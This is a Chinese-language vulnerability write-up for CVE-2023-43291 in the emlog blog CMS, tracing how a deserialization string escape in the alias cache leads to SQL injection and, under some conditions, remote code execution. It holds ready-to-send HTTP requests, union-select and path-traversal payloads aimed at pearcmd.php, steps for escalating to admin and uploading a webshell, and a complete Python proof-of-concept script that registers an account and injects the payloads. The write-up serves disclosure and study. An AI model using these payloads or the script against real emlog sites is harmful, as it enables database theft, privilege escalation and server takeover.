Headline
CVE-2023-43291: CVE-2023-43291.md
Deserialization of Untrusted Data in emlog pro v.2.1.15 and earlier allows a remote attacker to execute arbitrary code via the cache.php component.
emlog最新版V2.1.15存在反序列化字符串逃逸漏洞,可导致sql注入,特殊条件下可RCE
反序列化字符串逃逸****emlog的缓存机制
emlog使用缓存机制,会将网站运行的一些数据以php序列化的形式存储在本地文件中,访问时再将其反序列化,以减少对数据库的请求,加快访问速度。
缓存机制的实现代码主要在include/lib/cache.php中,以下是存储缓存以及读取缓存的代码(include/lib/cache.php, 78~107行)
public function cacheWrite($cacheData, $cacheName) { $cacheFile = EMLOG_ROOT . ‘/content/cache/’ . $cacheName . '.php’; $cacheData = “<?php exit;//” . $cacheData;
if (!file\_put\_contents($cacheFile, $cacheData)) {
emMsg('写入缓存失败,缓存目录(content/cache)不可写');
}
$this\->{$cacheName . '\_cache'} = null;
}
public function readCache($cacheName) { if ($this->{$cacheName . '_cache’} != null) { return $this->{$cacheName . '_cache’}; }
$cachefile = EMLOG\_ROOT . '/content/cache/' . $cacheName . '.php';
if (!is\_file($cachefile) || filesize($cachefile) <= 0) {
if (method\_exists($this, 'mc\_' . $cacheName)) {
$this\->{'mc\_' . $cacheName}();
}
}
if ($fp = fopen($cachefile, 'r')) {
$data = fread($fp, filesize($cachefile));
fclose($fp);
clearstatcache();
$this\->{$cacheName . '\_cache'} = unserialize(str\_replace("<?php exit;//", '', $data));
return $this\->{$cacheName . '\_cache'};
}
}
在存储缓存时,会将序列化后的字符串存到文件中,为了防止被直接访问,作者将文件设置成了php文件,而且在文件头部添加了<?php exit;//,这样在被直接访问到时,也不会泄露序列化后的数据。 当需要读取缓存数据时,直接读取文件的内容,并将<?php exit;//去掉,反序列化即可。
但在读取缓存时,这样的设计就存在问题:攻击者可以将要序列化的变量内容设置为<?php exit;//,并写入缓存文件,在读取缓存时,将会导致反序列化时的字符串逃逸,构成反序列化漏洞
alias文章别名缓存
在include/lib/cache.php, 404~413行,这里将从数据库中查到的别名alias存到数组中,之后将该数组序列化后缓存到文件,如果数据库中的别名是我们可控的,那么这里将可以使用上面的方法来进行反序列化攻击
/** * 文章别名缓存 */ private function mc_logalias() { $sql = "SELECT gid,alias FROM " . DB_PREFIX . "blog where alias!=’’"; $query = $this->db->query($sql); $log_cache_alias = []; while ($row = $this->db->fetch_array($query)) { $log_cache_alias[$row[‘gid’]] = $row[‘alias’]; } $cacheData = serialize($log_cache_alias); $this->cacheWrite($cacheData, ‘logalias’); }
在admin/article_save.php,这里可以通过新建blog或者更新blog的方式,来将alias插入数据库中
<?php /** * article save and update * @package EMLOG * @link https://www.emlog.net */
/** * @var string $action * @var object $CACHE */
require_once 'globals.php’;
if (empty($_POST)) { exit; }
$Log_Model = new Log_Model(); $Tag_Model = new Tag_Model();
$title = Input::postStrVar(‘title’); $postDate = isset($_POST[‘postdate’]) ? strtotime(trim($_POST[‘postdate’])) : time(); $sort = Input::postIntVar('sort’, -1); $tagstring = isset($_POST[‘tag’]) ? strip_tags(addslashes(trim($_POST[‘tag’]))) : '’; $content = Input::postStrVar(‘logcontent’); $excerpt = Input::postStrVar(‘logexcerpt’); $alias = Input::postStrVar(‘alias’); $top = Input::postStrVar('top’, ‘n’); $sortop = Input::postStrVar('sortop’, ‘n’); $allow_remark = Input::postStrVar('allow_remark’, ‘y’); $password = Input::postStrVar(‘password’); $cover = Input::postStrVar(‘cover’); $link = Input::postStrVar(‘link’); $author = isset($_POST[‘author’]) && User::haveEditPermission() ? (int)trim($_POST[‘author’]) : UID; $ishide = Input::postStrVar('ishide’, ‘y’); $blogid = Input::postIntVar('as_logid’, -1); //自动保存为草稿的文章id
if (isset($_POST[‘pubPost’])) { $ishide = 'n’; }
if (!empty($alias)) { $logalias_cache = $CACHE->readCache(‘logalias’); $alias = $Log_Model->checkAlias($alias, $logalias_cache, $blogid); }
//管理员发文不审核,注册用户受开关控制 $checked = Option::get(‘ischkarticle’) == ‘y’ && !User::haveEditPermission() ? ‘n’ : 'y’;
$logData = [ ‘title’ => $title, ‘alias’ => $alias, ‘content’ => $content, ‘excerpt’ => $excerpt, ‘cover’ => $cover, ‘author’ => $author, ‘sortid’ => $sort, ‘date’ => $postDate, 'top ' => $top, 'sortop ' => $sortop, ‘allow_remark’ => $allow_remark, ‘hide’ => $ishide, ‘checked’ => $checked, ‘password’ => $password, ‘link’ => $link, ];
if (User::isWiter()) { $count = $Log_Model->getPostCountByUid(UID, time() - 3600 * 24); $post_per_day = Option::get(‘posts_per_day’); if ($count >= $post_per_day) { emDirect(“./article.php?error_post_per_day=1”); } }
if ($blogid > 0) { $Log_Model->updateLog($logData, $blogid); $Tag_Model->updateTag($tagstring, $blogid); } else { $blogid = $Log_Model->addlog($logData); $Tag_Model->addTag($tagstring, $blogid); }
$CACHE->updateArticleCache();
doAction('save_log’, $blogid);
// 异步保存 if ($action === ‘autosave’) { exit(‘autosave_gid:’ . $blogid . ‘_’); }
// 保存草稿 if ($ishide === ‘y’) { emDirect(“./article.php?draft=1&active_savedraft=1”); }
// 文章(草稿)公开发布 if (isset($_POST[‘pubPost’])) { if (!User::haveEditPermission()) { notice::sendNewPostMail($title); } emDirect(“./article.php?active_post=1”); }
// 编辑文章(保存并返回) $page = $Log_Model->getPageOffset($postDate, Option::get(‘admin_perpage_num’)); emDirect(“./article.php?active_savelog=1&page=” . $page);
这里提取一下关键的代码:
$alias = Input::postStrVar(‘alias’); … // 将传入的数据放到数组中 $logData = [ ‘alias’ => $alias, … ]; …
// 新建文章,将数据插入数据库,或者更新文章,更新数据库 $blogid = $Log_Model->addlog($logData); // $Log_Model->updateLog($logData, $blogid);
// 更新缓存 $CACHE->updateArticleCache();
在include/lib/cache.php:79行定义了updateArticleCache(),其包含了更新logalias的缓存
public function updateArticleCache() { $this->updateCache(['sta’, 'tags’, 'sort’, 'newlog’, 'record’, 'logsort’, ‘logalias’]); }
反序列化字符串逃逸
到这里,我们可以通过新建文章(保存草稿)和更新文章来控制文章别名的缓存。接下来测试一下:
先注册一个用户,登录后发布两篇文章(草稿),从返回结果可以获得文章的id,这里文章id分别是4和5
POST /admin/article_save.php?action=autosave HTTP/1.1 Host: emlog.local Content-Length: 97 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://emlog.local Referer: http://emlog.local/admin/article.php?action=write Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=gbocg8i5g3d5ffcuvrmi5i7fn4; EM_AUTHCOOKIE_lRtS3emVW09WLR59cVxgu3tnnqnPALwk=test%40test.com%7C0%7Cb1fb8d9c7088ab9a0c03ec8a82fe87f6 Connection: close
title=aaaaa&logcontent=aaaaa&logexcerpt=&ishide=y&as_logid=-1&gid=-1&author=2&cover=&sort=-1&tag=
先修改id为5的blog,设置其alias为a";i:4;s:1:"x
POST /admin/article_save.php?action=autosave HTTP/1.1 Host: emlog Content-Length: 149 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://emlog Referer: http://emlog/admin/article.php?action=edit&gid=4 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5,fr;q=0.4,sq;q=0.3 Cookie: PHPSESSID=gbocg8i5g3d5ffcuvrmi5i7fn4; EM_AUTHCOOKIE_lRtS3emVW09WLR59cVxgu3tnnqnPALwk=test%40test.com%7C0%7Cb1fb8d9c7088ab9a0c03ec8a82fe87f6 Connection: close
logcontent=new1&logexcerpt=new1&title=new1&alias=a";i:4;s:1:"x&postdate=2023-10-13+20:32:18&token=a24023bbee5acc9f04d4dcdfeca241143e1e3794&as_logid=5
同理,修改id为4的,设置alias为<?php exit;//
发送完两个数据包后,alias的缓存文件为content/cache/logalias.php,内容如下
<?php exit;//a:2:{i:4;s:13:"<?php exit;//";i:5;s:13:"a";i:4;s:1:"x";}
在读取缓存时,先将<?php exit;//替换为空,再进行反序列化,反序列化的字符串为a:2:{i:3;s:13:"";i:4;s:13:"a";i:4;s:1:"x";},通过反序列化,结果为
array(2) {
[3]=>
string(13) "";i:4;s:13:"a"
[4]=>
string(1) "x"
}
到这里,可以很明显的看到反序列化字符逃逸漏洞的存在。而通过字符逃逸的反序列化漏洞,我们可以控制缓存中的变量内容,那么这有什么用呢?
SQL注入漏洞****代码分析
在include/controller/log_controller.php的displayContent函数中,用到了alias缓存中的数据,并带入到了sql语句中,关键代码如下:
function displayContent($params) { $comment_page = isset($params[4]) && $params[4] == ‘comment-page’ ? (int)$params[5] : 1;
$Log\_Model = new Log\_Model();
$CACHE = Cache::getInstance();
$options\_cache = $CACHE\->readCache('options');
extract($options\_cache);
$logid = 0;
if (isset($params\[1\])) {
if ($params\[1\] == 'post') {
$logid = isset($params\[2\]) ? (int)$params\[2\] : 0;
} elseif (is\_numeric($params\[1\])) {
$logid = (int)$params\[1\];
} else {
// 这里读取alias缓存
$logalias\_cache = $CACHE\->readCache('logalias');
if (!empty($logalias\_cache)) {
$alias = addslashes(urldecode(trim($params\[1\])));
// 在缓存中获得文章别名所与对应的id
$logid = array\_search($alias, $logalias\_cache);
if (!$logid) {
show\_404\_page();
}
}
}
}
// 将上面获得的id带入数据库查询
$logData = $Log\_Model\->getOneLogForHome($logid, true, true);
if (!$logData) {
show\_404\_page();
}
...
}
在第54行,$logid = array_search($alias, $logalias_cache);,其中的$logalias_cache是读取到的缓存数据,$alias是传入的参数的第二个元素$params[1]。那么是什么地方调用的这个函数呢?这得从index.php中谈起。
在网站入口index.php中,先进行了一些初始化,之后使用静态方法Dispatcher::getInstance()实例化了一个单例实例,再调用他的dispatch()方法来处理请求
<?php /** * @package EMLOG * @link https://www.emlog.net */
require_once 'init.php’;
define('TEMPLATE_PATH’, TPLS_PATH . Option::get(‘nonce_templet’) . ‘/’);
$emDispatcher = Dispatcher::getInstance(); $emDispatcher->dispatch(); View::output();
在include/lib/dispatcher.php:37~82行是其具体代码
public static function getInstance() { if (!self::$_instance instanceof self) { self::$_instance = new self(); } return self::$_instance; }
private function __construct() { $this->_path = $this->setPath(); $this->_routingTable = Option::getRoutingTable();
$urlMode = Option::get('isurlrewrite');
foreach ($this\->\_routingTable as $route) {
$reg = isset($route\['reg\_' . $urlMode\]) ? $route\['reg\_' . $urlMode\] : (isset($route\['reg'\]) ? $route\['reg'\] : $route\['reg\_0'\]);
if (preg\_match($reg, $this\->\_path, $matches)) {
$this\->\_model = $route\['model'\];
$this\->\_method = $route\['method'\];
$this\->\_params = $matches;
// 设置页面为首页
$homePageID = Option::get('home\_page\_id');
if ($this\->\_model == 'Log\_Controller' && $this\->\_method == 'display' && $homePageID && !strpos($this\->\_path, 'posts')) {
$this\->\_method = 'displayContent';
$this\->\_params = \['/?post=' . $homePageID, 'post', $homePageID\];
}
break;
}
if (preg\_match($route\['reg\_0'\], $this\->\_path, $matches)) {
$this\->\_model = $route\['model'\];
$this\->\_method = $route\['method'\];
$this\->\_params = $matches;
break;
}
}
if (empty($this\->\_model)) {
show\_404\_page();
}
}
public function dispatch() { $module = new $this->_model(); $method = $this->_method; $module->$method($this->_params); }
主要代码在_construct()中,其内部维护了一张路由表$this->_routingTable,之后遍历路由表来正则匹配当前的请求路径$this->_path,根据正则匹配的结果来实例化具体的类,调用相应的方法。
$this->_routingTable内容如下(include/lib/option.php:48)
static function getRoutingTable() { return [ [ ‘model’ => 'calendar’, ‘method’ => 'generate’, ‘reg_0’ => '|^.*/\?action=cal|’, ], [ ‘model’ => 'Log_Controller’, ‘method’ => 'displayContent’, ‘reg_0’ => '|^.*/\?(post)=(\d+)(&(comment-page)=(\d+))?([\?&].*)?$|’, ‘reg_1’ => '|^.*/(post)-(\d+)\.html(/(comment-page)-(\d+))?/?([\?&].*)?$|’, ‘reg_2’ => '|^.*/(post)/(\d+)(/(comment-page)-(\d+))?/?$|’, ‘reg_3’ => '|^/?!/posts([^\./\?=]+)(\.html)?(/(comment-page)-(\d+))?/?([\?&].*)?$|’, ],
...
\[
'model' => 'Log\_Controller',
'method' => 'displayContent',
'reg\_0' => '|^.\*?/(\[^/\\.=\\?\]+)(\\.html)?(/(comment-page)-(\\d+))?/?(\[\\?&\].\*)?$|',
\],
\[
'model' => 'Api\_Controller',
'method' => 'starter',
'reg\_0' => '|^.\*/\\?(rest-api)=(\\w+)(\[\\?&\].\*)?$|',
\],
\[
'model' => 'Log\_Controller',
'method' => 'display',
'reg\_0' => '|^/?(\[\\?&\].\*)?$|',
\],
\];
}
可以看到我们想要的Log_Controller的displayContent方法在两个地方出现,但是这里我们选择后面一个,原因是想要执行到读缓存那一步需要满足一些条件。 这里再贴一下代码,可以看到,需要首先匹配到的不是post,而第一个正则匹配到的肯定是post,所以我们选择第二个路由
if (isset($params[1])) { if ($params[1] == ‘post’) { $logid = isset($params[2]) ? (int)$params[2] : 0; } elseif (is_numeric($params[1])) { $logid = (int)$params[1]; } else { // 这里读取alias缓存 $logalias_cache = $CACHE->readCache(‘logalias’); if (!empty($logalias_cache)) { $alias = addslashes(urldecode(trim($params[1]))); // 在缓存中获得文章别名所与对应的id $logid = array_search($alias, $logalias_cache); if (!$logid) { show_404_page(); } } } }
对于$this->_path = $this->setPath();,其中$this->setPath()的代码如下(include/lib/dispatcher.php:84)
public static function setPath() { if (isset($_SERVER[‘HTTP_X_REWRITE_URL’])) { // for iis $path = $_SERVER[‘HTTP_X_REWRITE_URL’]; } elseif (isset($_SERVER[‘REQUEST_URI’])) { $path = $_SERVER[‘REQUEST_URI’]; } elseif (isset($_SERVER[‘argv’])) { $path = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘argv’][0]; } else { $path = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘QUERY_STRING’]; }
//for iis6 path is GBK
if (isset($\_SERVER\['SERVER\_SOFTWARE'\]) && stripos($\_SERVER\['SERVER\_SOFTWARE'\], 'IIS') !== false) {
if (function\_exists('mb\_convert\_encoding')) {
$path = mb\_convert\_encoding($path, 'UTF-8', 'GBK');
} else {
$path = @iconv('GBK', 'UTF-8', @iconv('UTF-8', 'GBK', $path)) == $path ? $path : @iconv('GBK', 'UTF-8', $path);
}
}
//for ie6 header location
$r = explode('#', $path, 2);
$path = $r\[0\];
//for iis6
$path = str\_ireplace('index.php', '', $path);
//for subdirectory
$t = parse\_url(BLOG\_URL);
$path = str\_replace($t\['path'\], '/', $path);
return $path;
}
可以看到path可以通过http请求头X-Rewrite-Url来确定,这是我们完全可控的。所以,我们可以控制这个path,来匹配特定的正则,使得程序走到Log_Controller的displayContent方法
发送如下数据包,并使用phpstrom进行调试
GET / HTTP/1.1 Host: emlog.log Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://emlog/?XDEBUG_SESSION_START=19523 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5,fr;q=0.4,sq;q=0.3 Cookie: commentposter=test; postermail=test%40test.com; posterurl=http%3A%2F%2Ftest.com; XDEBUG_SESSION=19523 X-Rewrite-Url: /x Connection: close
可以看到这里的$matches = ["/x", “x”],$this->_model = "Log_Controller",$this->_method = “displayContent”
继续走,到displayContent方法,这里的loginid是缓存中读取到的内容,而这里是我们可以控制的,之后会带入sql语句中查询
漏洞调试
先构造sql注入的payload,插入alias=a";s:9:"0 or 1=1#";s:1:"x
POST /admin/article_save.php?action=autosave HTTP/1.1 Host: emlog.log Content-Length: 161 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://emlog Referer: http://emlog/admin/article.php?action=edit&gid=4 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5,fr;q=0.4,sq;q=0.3 Cookie: commentposter=test; postermail=test%40test.com; posterurl=http%3A%2F%2Ftest.com; XDEBUG_SESSION=19523; PHPSESSID=nie5ai8kdagtajvl0jr4p468gb; EM_AUTHCOOKIE_PpRZfA1xIj91SZmXEO79BjnMR3PZ5afC=test%40test.com%7C%7C7042b204034b9d53da8609f454f9420e Connection: close
logcontent=new1&logexcerpt=new1&title=new1&alias=a";s:9:"0 or 1=1#";s:1:"x&postdate=2023-10-13+20:32:18&token=a24023bbee5acc9f04d4dcdfeca241143e1e3794&as_logid=4
此时缓存文件content/cache/logalias.php内容是<?php exit;//a:2:{i:3;s:13:"<?php exit;//";i:4;s:25:"a";s:9:"0 or 1=1#";s:1:"x";}
接下来发送如下http请求,设置X-Rewrite-Url: /x
GET / HTTP/1.1 Host: emlog Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.42 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://emlog/?XDEBUG_SESSION_START=19523 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5,fr;q=0.4,sq;q=0.3 Cookie: commentposter=test; postermail=test%40test.com; posterurl=http%3A%2F%2Ftest.com; XDEBUG_SESSION=17075 X-Rewrite-Url: /x Connection: close
断点调试如下,可以看到此时通过缓存获得的$logid值是0 or 1=1#,并作为参数带入$Log_Model->getOneLogForHome
跟进,可以看到已经被带到sql语句中进行查询,sql注入便是在此处触发
查询数据库信息
上面的sql语句执行完成后,会将查询到的数据渲染到页面中,因此这是一个有回显的sql注入漏洞。
构造如下payload:alias=";s:93:"0 union select 1,user(),’1’,’’,’’,’’,’’,1,-1,’blog’,1,1,0,’n’,’n’,’n’,’y’,’y’,’’,’’,’’,’’,’’#";s:1:"x 此时缓存文件content/cache/logalias.php内容是<?php exit;//a:2:{i:4;s:13:"<?php exit;//";i:5;s:109:"";s:93:"0 union select 1,user(),’1’,’’,’’,’’,’’,1,-1,’blog’,1,1,0,’n’,’n’,’n’,’y’,’y’,’’,’’,’’,’’,’’#";s:1:"x";}
之后同样,带着http头X-Rewrite-Url: /x 访问/index.php,可以获得查询到的数据
堆叠注入权限提升
条件:使用的是pdo_mysql,而不是mysqli
框架实现了mysqli和pdo两种数据库插件,默认使用的是mysqli,代码如下(include/lib/database.php)
class Database {
public static function getInstance() {
if (class\_exists('mysqli', FALSE)) {
return MySqlii::getInstance();
}
if (class\_exists('pdo', false)) {
return Mysqlpdo::getInstance();
}
emMsg('服务器空间PHP不支持MySql数据库');
}
}
其中,pdo的初始化如下(include/lib/mysqlpdo.php:33),可见没有设置PDO::MYSQL_ATTR_MULTI_STATEMENTS属性为false,默认可以执行多语句
private function __construct() { if (!class_exists(‘PDO’)) { emMsg(‘服务器空间PHP不支持PDO函数’); }
try {
$dsn = 'mysql:host=' . DB\_HOST . ';dbname=' . DB\_NAME . ';charset=utf8mb4';
$options = \[\];
$dbh = new PDO($dsn, DB\_USER, DB\_PASSWD, $options);
$dbh\->setAttribute(PDO::ATTR\_ERRMODE, PDO::ERRMODE\_EXCEPTION); //设置如果sql语句执行错误则抛出异常,事务会自动回滚
$dbh\->setAttribute(PDO::ATTR\_EMULATE\_PREPARES, false); //禁用prepared statements的仿真效果(防SQL注入)
$this\->conn = $dbh;
} catch (PDOException $e) {
emMsg("连接数据库失败,请检查数据库信息。错误原因:" . $e\->getMessage());
}
}
那么,如果该环境是用的是pdo_mysql而不是mysqli,即可结合上面的sql注入漏洞来执行多条sql语句,对数据库内容进行修改
比如修改users表,将我们当前用户的role字段由writer改为admin,即可获得admin权限,而admin权限登录后台是可以上传自定义插件的,我们可以通过上传自定义插件来获取webshell
此外,还可以修改options表,将其中的att_type添加php后缀,便可以上传php文件,也可获取webshell
pearcmd.php
利用条件:php配置register_argc_argv=On
原理
除了上面的利用方法,还有什么攻击面没有呢?我们继续看代码(include/controller/log_controller.php:64~114行)
…
$logData = $Log_Model->getOneLogForHome($logid, true, true); if (!$logData) { show_404_page(); }
// 作者和管理可以预览草稿及待审核文章 if (($logData[‘hide’] === ‘y’ || $logData[‘checked’] === ‘n’) && $logData[‘author’] != UID && !User::haveEditPermission()) { show_404_page(); }
doMultiAction('article_content_echo’, $logData, $logData);
extract($logData);
// password if (!empty($password)) { $postpwd = isset($_POST[‘logpwd’]) ? addslashes(trim($_POST[‘logpwd’])) : '’; $cookiepwd = isset($_COOKIE[‘em_logpwd_’ . $logid]) ? addslashes(trim($_COOKIE[‘em_logpwd_’ . $logid])) : '’; $Log_Model->AuthPassword($postpwd, $cookiepwd, $password, $logid); } // tdk $site_title = $this->setSiteTitle($log_title_style, $log_title, $blogname, $site_title); $site_description = extractHtmlData($log_content, 90); $site_key = $this->setSiteKey($tags, $site_key);
//comments $Comment_Model = new Comment_Model(); $verifyCode = ISLOGIN == false && $comment_code == ‘y’ ? “<img src=\"” . BLOG_URL . “include/lib/checkcode.php\” id=\"captcha\" /><input name=\"imgcode\" type=\"text\" class=\"input\" size=\"5\" tabindex=\"5\" />" : '’; $ckname = isset($_COOKIE[‘commentposter’]) ? htmlspecialchars(stripslashes($_COOKIE[‘commentposter’])) : '’; $ckmail = isset($_COOKIE[‘postermail’]) ? htmlspecialchars($_COOKIE[‘postermail’]) : '’; $ckurl = isset($_COOKIE[‘posterurl’]) ? htmlspecialchars($_COOKIE[‘posterurl’]) : '’; $comments = $Comment_Model->getComments($logid, 'n’, $comment_page);
$Log_Model->updateViewCount($logid);
if (filter_var($link, FILTER_VALIDATE_URL)) { emDirect($link); }
include View::getView(‘header’); if ($type === ‘blog’) { $neighborLog = $Log_Model->neighborLog($timestamp); include View::getView(‘echo_log’); } elseif ($type === ‘page’) { $template = !empty($template) && file_exists(TEMPLATE_PATH . $template . ‘.php’) ? $template : 'page’; include View::getView($template); }
其中$logData便是从数据库中查询到的结果,这里提取关键代码说明:
// 使用$logid从数据库中获取一条blog记录,返回的$logData是一个数组 $logData = $Log_Model->getOneLogForHome($logid);
…
// 将数组键值对赋为变量 extract($logData);
…
include View::getView(‘header’); // 这里的type就是上面extract生成的变量 if ($type === ‘blog’) { $neighborLog = $Log_Model->neighborLog($timestamp); include View::getView(‘echo_log’); } elseif ($type === ‘page’) { $template = !empty($template) && file_exists(TEMPLATE_PATH . $template . ‘.php’) ? $template : 'page’; include View::getView($template); }
这里看一下最后一句include View::getView($template);,其实现代码为(include/lib/view.php:9),可见其只是简单的进行了文件名的拼接,之后使用include进行包含。
public static function getView($template, $ext = ‘.php’) { if (!is_dir(TEMPLATE_PATH)) { emMsg('当前使用的模板已被删除或损坏,请登录后台更换其他模板。’, BLOG_URL . ‘admin/template.php’); } return TEMPLATE_PATH . $template . $ext; }
那么,就相当于include TEMPLATE_PATH . $template . "php";,我们可以控制的部分是$template。
这里想到了p神的pearcmdphp文件包含,我们可以通过利用上面的sql注入,使用union select控制返回的内容,进而控制$type和$template的内容,达到包含pearcmdphp的目的。
漏洞利用
构造alias=";s:134:"0 union select 1,’’,’’,’’,’’,’’,’’,1,-1,’page’,1,1,0,’n’,’n’,’n’,’y’,’y’,’’,’…/…/…/…/…/…/…/usr/local/lib/php/pearcmd’,’’,’’,’’#";s:1:"x
此时此时缓存文件content/cache/logalias.php内容为<?php exit;//a:2:{i:16;s:13:"<?php exit;//";i:17;s:150:";s:134:"0 union select 1,’’,’’,’’,’’,’’,’’,1,-1,’page’,1,1,0,’n’,’n’,’n’,’y’,’y’,’’,’…/…/…/…/…/…/…/usr/local/lib/php/pearcmd’,’’,’’,’’#";s:1:"x";}
之后带着http头X-Rewrite-Url: /x 访问/index.php
可见,成功写入了文件
访问即可getshell
检测poc
poc执行sql函数user(),并获取结果。
import requests import sys import time requests.packages.urllib3.disable_warnings()
if len(sys.argv) != 2: print("emlog checker ") print(“usage: python poc.py http://xxxxx/”)
exit()
url = sys.argv[1] session = requests.session() proxy = {} # proxy = { # "http": "127.0.0.1:8080", # "https": “127.0.0.1:8080” # }
# Step1 注册一个账户并登录,获取token def step1(): url_register = “/admin/account.php?action=dosignup” data_register = { "mail":"[email protected]", "passwd":"password", "repasswd": “password” } session.post(url+url_register, data=data_register, verify=False, allow_redirects=False, proxies=proxy)
url\_login \= "/admin/account.php?action=dosignin&s="
data\_login \= {
"user": "[email protected]",
"pw": "password"
}
res \= session.post(url+url\_login, data\=data\_login, verify\=False, allow\_redirects\=False, proxies\=proxy)
if res.status\_code != 302 or res.headers.get("Location") != "./":
print("登录错误")
exit()
url\_token \= "/admin/article.php"
res \= session.get(url+url\_token, verify\=False, allow\_redirects\=False, proxies\=proxy)
while res.status\_code != 200: \# 因为该cms会随机进行重新的身份认证,详见include/service/user.php:106
res \= session.get(url+url\_token, verify\=False, allow\_redirects\=False, proxies\=proxy)
global token
try:
token \= res.text.split('id="token" value="')\[1\].split('"')\[0\].strip()
except:
token \= ""
# Step2 新建两篇文章,设置两篇文章的alias,写入payload def step2(): url_article = “/admin/article_save.php?action=autosave” data_article = { "logcontent": time.time(), "logexcerpt": '’, "title": time.time(), "cover": '’, "alias": time.time(), "sort": "-1", "postdate": "2022-10-16 00:01:34", "date": '’, "tag": '’, "top": "n", "sortop": "n", "allow_remark": "y", "password": '’, "token": token, "ishide": "y", “as_logid": "-1” }
\# 新建第一篇文章
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
while res.status\_code != 200:
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
try:
id\_1 \= res.text.split(":")\[1\].split("\_")\[0\]
except:
print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
exit()
\# 新建第二篇文章
data\_article\["logcontent"\] \= time.time()
data\_article\["title"\] \= time.time()
data\_article\["alias"\] \= time.time()
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
while res.status\_code != 200:
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
try:
id\_2 \= int(res.text.split(":")\[1\].split("\_")\[0\])
except:
print("error,请手动删除当前用户所有文章以及草稿再重新运行此poc.")
exit()
\# 更改第二篇文章的alias
\# payload = '''";s:87:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','',''#";s:1:"x'''
payload \= '''";s:93:"0 union select 1,user(),'1','','','','',1,-1,'blog',1,1,0,'n','n','n','y','y','','','','',''#";s:1:"x'''
data\_article\["as\_logid"\] \= id\_2
if id\_2 < 10:
data\_article\["alias"\] \= payload
if id\_2 \>= 10:
data\_article\["alias"\] \= payload\[1:\]
if id\_2 \>= 100:
\# data\_article\["alias"\] = ''';s:81:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','',''#";s:1:"x'''
data\_article\["alias"\] \= ''';s:87:"0 union select 1,user(),1,'','','','',1,-1,'blog',1,1,0,'','','','y','','','','','',''#";s:1:"x'''
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
while res.status\_code != 200:
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
\# 更改第一篇文章的alias
data\_article\["as\_logid"\] \= id\_1
data\_article\["alias"\] \= "<?php exit;//"
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
while res.status\_code != 200:
res \= session.post(url+url\_article, data\=data\_article, verify\=False, allow\_redirects\=False, proxies\=proxy)
# Step3 访问触发反序列化以及sql注入 def step3(): headers = { "X-Rewrite-Url": "/x", } res = session.get(url, headers=headers, verify=False, allow_redirects=False, proxies=proxy) if res.status_code == 200: print(res.text.split(“<title>”)[1].split(“</title>”)[0]) else: raise Exception
if __name__ == "__main__": try: step3() except: step1() step2() step3()
总结
这个漏洞出现的点非常ctf,反序列化字符逃逸没想到在实战中真能遇到。在发现反序列化字符逃逸的漏洞后,我首先想到的是能不能找到反序列化链,但是这个cms系统的__destruct只有一处,__wakeup也没有,魔术方法也不是很多,于是找pop链这条路是走不通了。
不过php反序列化漏洞本质就是可以让我们控制反序列化后变量的内容,于是思路变换到找那里用了缓存中的数据,于是找到了上面的漏洞点。
其实作者在写缓存的时候也注意到了安全问题,很多地方都使用htmlspecialchars将要写入的数据进行编码,但是终归还是有疏漏的地方。